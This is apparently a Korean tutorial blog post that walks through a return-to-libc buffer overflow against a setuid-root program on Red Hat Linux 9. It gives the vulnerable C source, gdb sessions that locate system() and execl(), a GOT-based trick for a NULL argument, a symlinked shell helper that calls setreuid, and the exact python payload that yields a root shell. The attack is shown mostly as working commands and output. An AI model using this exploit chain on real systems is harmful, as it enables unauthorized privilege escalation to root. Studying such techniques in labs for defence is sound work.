OS : Red Hat Linux 9.0
환경 : 랜덤스택
RTL 기법은 실행이 불가능한 스택일 경우 가능한 공격입니다. 공격 방법은 우리가 원하는 주소를 libc의 특정 함수로 리턴시켜 원하는 행동을 하도록 하는 것입니다. 그럼 공격을 해보도록 하자. 타켓 파일은 아래와 같습니다.
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
우선 gdb를 이용하여 system() 함수의 주소를 확인하도록 합니다.
system() 함수의 주소가 0x4203f2c0 인것으로 확인 되었습니다. 이제 환경변수에 "/bin/sh" 문자열을 등록하여 환경변수의 주소를 확인하도록 합니다. 환경변수는 이전에 확인하던 코드를 그대로 사용하여 확인하도록 합니다.
getenv.c
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *addr;
if(argc < 2)
{
printf("Usage:\n%s <environment variable="" name="">\n", argv[0]);
exit(0);
}
addr = getenv(argv[1]);
if(addr == NULL)
printf("The environment variable %s doesn't exist.\n", argv[1]);
else
printf("%s is located at %p\n", argv[1], addr);
return 0;
}
위 코드로 환경변수를 확인하지만 주의해야 할 사항이 있습니다. 환경변수의 주소는 실행하는 프로그램의 길이에 따라 다르게 나옵니다. 한번 확인해 보도록 합니다.
따라서 우리가 공격할 프로그램(vuln.c)을 컴파일 후 파일명을 vuln으로 했다면 4자리기 때문에 맨 아래에 있는 0xbfffff50 주소를 사용해야 할 것입니다. 이제 공격을 해보도록 합니다.
공격은 다음과 같습니다.
[AAAA......] + [system() 주소] + [JUNK] + ["/bin/sh" 주소]
쉘이 떴습니다. 하지만 setuid에 걸려있는 파일임에도 불구하고 권한이 획득되지 root 권한이 획득되지 않았습니다. 이유는 system() 함수는 실행권한을 낮추어서 실행하기 때문에 그렇다고 합니다.
그래서 이번에는 execl() 주소를 확인하여 같이 호출하여 공격해 보도록 하자. 공격 방법은 아래와 같습니다.
[AAAA.....] + [execl() 주소] + [심볼릭 링크 주소 반복]
먼저 execl() 함수에는 인자를 많이 줘도 상관이 없으나 마지막에는 꼭 0이 들어가야 합니다다. 따라서 0을 넣을 수 있는 방법을 찾아야 합니다.
0은 GOT (Global Offset Table) 주소를 이용할 수 있습니다. GOT의 끝은 항상 0x00000000 이라고 하네요. 그럼 확인을 해보도록 하겠습니다.
byjjoon@RedHat9 LIB]$ objdump --dynamic-reloc vu
vu: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049504 R_386_GLOB_DAT __gmon_start__
080494fc R_386_JUMP_SLOT __libc_start_main
08049500 R_386_JUMP_SLOT strcpy
[byjjoon@RedHat9 LIB]$ gdb -q vu
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/byjjoon/LIB/vu
Breakpoint 1, 0x0804832e in main ()
(gdb) x/32wx 0x08049500
0x8049500 <_GLOBAL_OFFSET_TABLE_+16>: 0x0804826e 0x00000000 0x00000000 0x00000000
0x8049510: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049520: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049530: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049540: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049550: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049560: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049570: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/32wx 0x080494f0
0x80494f0 <_GLOBAL_OFFSET_TABLE_>: 0x08049414 0x40015a38 0x4000bcb0 0x42015490
0x8049500 <_GLOBAL_OFFSET_TABLE_+16>: 0x0804826e 0x00000000 0x00000000 0x00000000
0x8049510: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049520: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049530: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049540: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049550: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049560: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/x 0x08049414
0x8049414 <_DYNAMIC>: 0x00000001
(gdb)
심볼릭 링크 주소 : 0x8049414
이제 인자로 줄 주소를 구했습니다. 그럼 쉘을 띄워주는 코드 작성 후 해당 코드를 작성 후 0x00000001 주소로 심볼릭 링크를 걸어주면 되겠습니다.
[byjjoon@RedHat9 LIB]$ cat shell.c
int main()
{
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execl("/bin/bash", "sh", 0);
}
[byjjoon@RedHat9 LIB]$ gcc -o shell shell.c
[byjjoon@RedHat9 LIB]$ ln -s shell `python -c "print '\x01'"`
[byjjoon@RedHat9 LIB]$ ls -al
합계 52
lrwxrwxrwx 1 byjjoon byjjoon 5 2월 25 19:06 ? -> shell
drwxrwxr-x 2 byjjoon byjjoon 4096 2월 25 19:06 .
drwx------ 3 byjjoon byjjoon 4096 2월 21 06:25 ..
-rwxrwxr-x 1 byjjoon byjjoon 11995 2월 25 19:06 shell
-rw-rw-r-- 1 byjjoon byjjoon 111 2월 21 06:25 shell.c
-rwxrwxr-x 1 byjjoon byjjoon 11541 2월 25 18:17 vu
-rwsrwsr-x 1 root byjjoon 11541 2월 11 00:36 vuln
-rw-rw-r-- 1 byjjoon byjjoon 157 2월 11 00:43 vuln.c
[byjjoon@RedHat9 LIB]$
이제 execl() 함수 주소를 확인하고 바로 공격을 해보도록 합니다.
[byjjoon@RedHat9 LIB]$ gdb -q vu
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/byjjoon/LIB/vu
Breakpoint 1, 0x0804832e in main ()
(gdb) x/x execl
0x420acaa0 <execl>: 0x57e58955
(gdb) r `python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`
Starting program: /home/byjjoon/LIB/vu `python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`
Breakpoint 1, 0x0804832e in main ()
(gdb) x/32wx $esp
0xbfffea30: 0x42130a14 0x4000c660 0xbfffea48 0x08048362
0xbfffea40: 0x42130a14 0x40015360 0xbfffea68 0x42015574
0xbfffea50: 0x00000003 0xbfffea94 0xbfffeaa4 0x4001582c
0xbfffea60: 0x00000003 0x08048278 0x00000000 0x08048299
0xbfffea70: 0x08048328 0x00000003 0xbfffea94 0x08048358
0xbfffea80: 0x08048388 0x4000c660 0xbfffea8c 0x00000000
0xbfffea90: 0x00000003 0xbffffa93 0xbffffaa8 0xbffffac7
0xbfffeaa0: 0x00000000 0xbffffc59 0xbffffc6a 0xbffffc7a
(gdb)
0xbfffeab0: 0xbffffc85 0xbffffc93 0xbffffca3 0xbffffcc5
0xbfffeac0: 0xbffffcd8 0xbffffce5 0xbffffea8 0xbffffeeb
0xbfffead0: 0xbfffff08 0xbfffff14 0xbfffff2a 0xbfffff3f
0xbfffeae0: 0xbfffff50 0xbfffff63 0xbfffff6b 0xbfffff7b
0xbfffeaf0: 0xbfffffb0 0xbfffffd2 0x00000000 0x00000020
0xbfffeb00: 0xffffe000 0x00000010 0x0febfbff 0x00000006
0xbfffeb10: 0x00001000 0x00000011 0x00000064 0x00000003
0xbfffeb20: 0x08048034 0x00000004 0x00000020 0x00000005
(gdb)
.
.
.
[생 략]
.
.
.
(gdb)
0xbffffa30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa80: 0x00000000 0x00000000 0x00000000 0x36690000
0xbffffa90: 0x2f003638 0x656d6f68 0x6a79622f 0x6e6f6f6a
0xbffffaa0: 0x42494c2f 0x0075762f 0x41414141 0x41414141
(gdb)
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x4200caa0 0x08049014 0x08049014
0xbffffad0: 0x08049014 0x08049014 0x08049014 0x08049014
0xbffffae0: 0x08049014 0x08049014 0x08049014 0x08049014
0xbffffaf0: 0x08049014 0x08049014 0x08049014 0x08049014
0xbffffb00: 0x08049014 0x08049014 0x08049014 0x08049014
0xbffffb10: 0x08049014 0x08049014 0x08049014 0x08049014
0xbffffb20: 0x08049014 0x08049014 0x08049014 0x08049014
.
.
.
[생 략]
.
.
.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4200caa0 in _r_debug () from /lib/tls/libc.so.6
(gdb)
위 이미지에서 확인하였듯이 execl() 함수의 주소는 0x420acaa0 입니다. 해당 주소를 넣고 공격 후 인자를 확인해 보면 아래와 같습니다. 하지만 0x0a 값이 0x00 으로 들어간 것을 확인할 수 있습니다. 이유를 확인해 본 결과 0x0a는 \n 라 입력이 안된것입니다.
\a Alert (ASCII 0x07)
\b Backspace (ASCII 0x08)
\t Horizontal tab (ASCII 0x09)
\n Linefeed or newline (ASCII 0x0A)
\v Vertical tab (ASCII 0x0B)
\f Form feed (ASCII 0x0C)
\r Carriage return (ASCII 0x0D)
NULL (ASCII 0x00)
EOF (ASCII 0xFF)
더이상 공격은 힘들것으로 보입니다....하지만 간단하게 해결할 수 있습니다.
[byjjoon@RedHat9 LIB]$ id
uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon)
[byjjoon@RedHat9 LIB]$ ./vuln "`python -c "print 'AAAA'*7 + '\xa0\xca\x0a\x42' + '\x14\x90\x04\x08'*100"`"
sh-2.05b# id
uid=0(root) gid=500(byjjoon) groups=500(byjjoon)
sh-2.05b#
위와 같이 0x0a 값을 인자로 주기 위해 양쪽에 더블쿼더로 한번 더 묶어 전달하게 되면 인자로 전달이 됩니다.
이렇게 간단했었다니 -_-...